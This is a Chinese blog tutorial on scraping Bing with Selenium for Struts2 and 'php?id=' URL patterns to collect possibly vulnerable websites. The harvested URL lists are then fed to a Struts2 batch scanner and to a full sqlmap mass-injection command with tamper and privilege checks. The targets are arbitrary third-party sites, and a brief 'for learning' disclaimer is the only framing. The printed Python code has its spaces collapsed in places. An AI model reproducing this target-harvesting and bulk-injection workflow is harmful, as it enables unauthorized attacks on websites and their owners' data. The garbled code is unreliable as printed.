小编给大家分享一下如何运用selenium在网上爬取已知漏洞，希望大家阅读完这篇文章之后都有所收获，下面让我们一起去探讨吧！
成都创新互联公司专注于和布克赛尔蒙古企业网站建设,响应式网站建设,电子商务商城网站建设。和布克赛尔蒙古网站建设公司,为和布克赛尔蒙古等地区提供建站服务。全流程按需定制，专业设计，全程项目跟踪，成都创新互联公司专业和态度为您提供的服务
selenium基础知识
介绍
python做爬虫，如果爬取静态网页，requests库用作请求，bs4和lxml库用作分析抓取的网页内容非常不错；
现在各大搜索引擎都是动态加载，关于爬取动态网页，我了解了一些方法：
1.直接url:找js的api接口
2.webkit 手工模拟js
3.scrapyjs scrapyjs相当于粘合剂的作用,可以将splash整合进scrapy中
4.splash+ docker
5.phatomjs + selenium 结合使用 模拟浏览器，消耗大，不适合大型爬虫
这里我们用方法5，不过phatomjs不再和selenium组cp（可以继续用），而火狐和google也推出了无头浏览器方式，所以我们用google浏览器的驱动来达成目标（调试时注意版本，不同版本的css和xpath选择表达式可能不同）
我没有用无头方式，注意是便于调试加上我们仅仅是安全研究；如果读者要用，继续这样修改即可：
chrome_options= Options()
chrome_options.add_argument("--headless")
driver=webdriver.Chrome(executable_path=(r'D:\selenium\chrome/chromedriver.exe'),chrome_options=chrome_options)
安装selenium
下载驱动器：
https://www.cnblogs.com/freeweb/p/4568463.html
https://www.cnblogs.com/qiezizi/p/8632058.html
python安装selenium库即可（pipinstall selenium）
一些简单的语法知识，大家自行搜索
selenium的FAQ
这点我还是要提出来，语法很简单，关键调试很麻烦
1、无法定位元素
这个问题是没有加载完网页就取元素了，本来第一次是设置sleep()，可是会导致socket断开，所以就用内置的
importselenium.webdriver.support.ui as ui
wait= ui.WebDriverWait(driver,20)
printwait.until(lambda x: x.find_element_by_css_selector("#b_results> li.b_pag > nav > ul > li:nth-child(3) > a")).text
2、python的ascii编码
importsys
reload(sys)
sys.setdefaultencoding(‘utf-8’)
3、元素不在视图
最蛋疼的，寻找了好久方法
出现elementnot visible
用ActionChains模拟鼠标点击
参考：
http://www.mamicode.com/info-detail-1981462.html
4、制定爬取目标
怎样编写呢？我们来搜索bing国际版本，爬取struts2可能存在的漏洞
5、编写代码
编写过程，有兴趣可以研究下，作者这里提几点，其他语法还是简单的搜索好了，然后一页一页的向下翻，收集每页的网址；这里的 xpath和css选择的语法和你下的浏览器驱动版本有关，进浏览器然后更改选择代码即可（不要说运行不了，亲测可用的）
代码：
#coding=utf-8
importsys
reload(sys)
sys.setdefaultencoding('utf-8')
importtime
fromselenium import webdriver
importselenium.webdriver.support.ui as ui
fromselenium.webdriver.common.keys import Keys
fromselenium.common.exceptions import TimeoutException
#引入ActionChains鼠标操作类
fromselenium.webdriver.common.action_chains import ActionChains
start_url="https://cn.bing.com/search?q=inurl%3a.action%3f&qs=n&sp=-1&pq=inurl%3a.action%3f&sc=1-14&sk=&cvid=DBCB283FC96249E8A522340DF4740769&first=67&FORM=PERE4"
urls=range(200)
m=0
s=[1,2,3,4,5,6,7,8,9]
driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")
wait=ui.WebDriverWait(driver,20)
driver.get(start_url)
forn in range(7,57):
ifn%2 == 1:#国内版
i=7
else:
i=8
i=7
forj in s[0:]:
try:
#//*[@id="b_results"]/li[1]/h3/a国际版本
#printwait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))
#urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))
#国内版本
printwait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h3/a').get_attribute("href"))
urls[m]=wait.until(lambdax:x.find_element_by_xpath('/html/body/div[1]/ol[1]/li['+str(j)+']/h3/a').get_attribute("href"))
m=m+1
exceptException as e:
continue
try:
printi
ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child("+str(i)+") >a"))).perform()
exceptException as e:
continue
withopen("urlss.txt","a+") as f:
forurl in urls[0:]:
f.write(str(url))
f.write('\n')
f.close()
driver.quit()
实现效果
这里用的某公司的批量工具
工具链接：
https://www.jb51.net/softs/574358.html
提供一个开源的stu工具链接：github的开源项目，紧跟步伐，刚更新了前几天的057
作者项目地址：
https://github.com/Lucifer1993/struts-scan
测试的效果图如下：
补充
虽然sql的洞不好找，前两年来打，是成片区的，现在不好了，但是作者还是写了个爬取代码
目标：搜索敏感词语：inurl:php?id
代码：
#coding=utf-8
importsys
reload(sys)
sys.setdefaultencoding('utf-8')
importtime
fromselenium import webdriver
importselenium.webdriver.support.ui as ui
fromselenium.webdriver.common.keys import Keys
fromselenium.common.exceptions import TimeoutException
#引入ActionChains鼠标操作类
fromselenium.webdriver.common.action_chains import ActionChains
start_url="https://cn.bing.com/search?q=inurl%3aphp%3fid%3d&qs=HS&sc=8-0&cvid=2EEF822D8FE54B6CAAA1CE0169CA5BC5&sp=1&first=53&FORM=PERE3"
urls=range(800)
m=0
s=[1,2,3,4,5,6,7,8,9,10,11,12,13,14]
driver=webdriver.Chrome(executable_path="D:/selenium/chrome/chromedriver.exe")
wait=ui.WebDriverWait(driver,20)
driver.get(start_url)
fori in range(1,50):
forj in s[0:]:
try:
urls[m]=wait.until(lambdax:x.find_element_by_xpath('//*[@id="b_results"]/li['+str(j)+']/h3/a').get_attribute("href"))
printurls[m]
m=m+1
exceptException as e:
e.message
printi
try:
ActionChains(driver).click(wait.until(lambdax: x.find_element_by_css_selector("#b_results > li.b_pag >nav > ul > li:nth-child(7) > a"))).perform()
exceptException as e:
continue
printm
withopen("urls.txt","a+") as f:
forurl in urls[0:]:
f.write(str(url))
f.write('\n')
f.close()
driver.quit()
测试效果
由于周期太长，没有具体去测试，但是url是爬取下来的，我给出sqlmap的指令
（正在考虑shell多线程跑sqlmap，提供思路参考，学习为目的，漏洞很少很少了；shell多线程参考：https://blog.csdn.net/bluecloudmatrix/article/details/48421577）
sqlmap-murls.txt --batch--delay=1.3--level=3--tamper=space2comment--dbms=MySQL--technique=EUS--random-agent--is-dba--time-sec=10| tee result.txt
分析命令
1、sqlmap -m 指定文件
2、--delay 指定每次请求requests的间隔时间，默认0.5
3、--level 检测请求头，如来源，agent等，默认是1
4、--dbms=mysql 指定数据库是mysql
5、--technique=EUS,(不做盲注的检测，本来周期就长)
B:Boolean-based blind SQL injection（布尔型注入）
E:Error-based SQL injection（报错型注入）
U:UNION query SQL injection（可联合查询注入）
S:Stacked queries SQL injection（可多语句查询注入）
T:Time-based blind SQL injection（基于时间延迟注入）
6、tee管道命令，显示在屏幕的同时输出到文件中供我们分析
看完了这篇文章，相信你对“如何运用selenium在网上爬取已知漏洞”有了一定的了解，如果想了解更多相关知识，欢迎关注创新互联行业资讯频道，感谢各位的阅读！
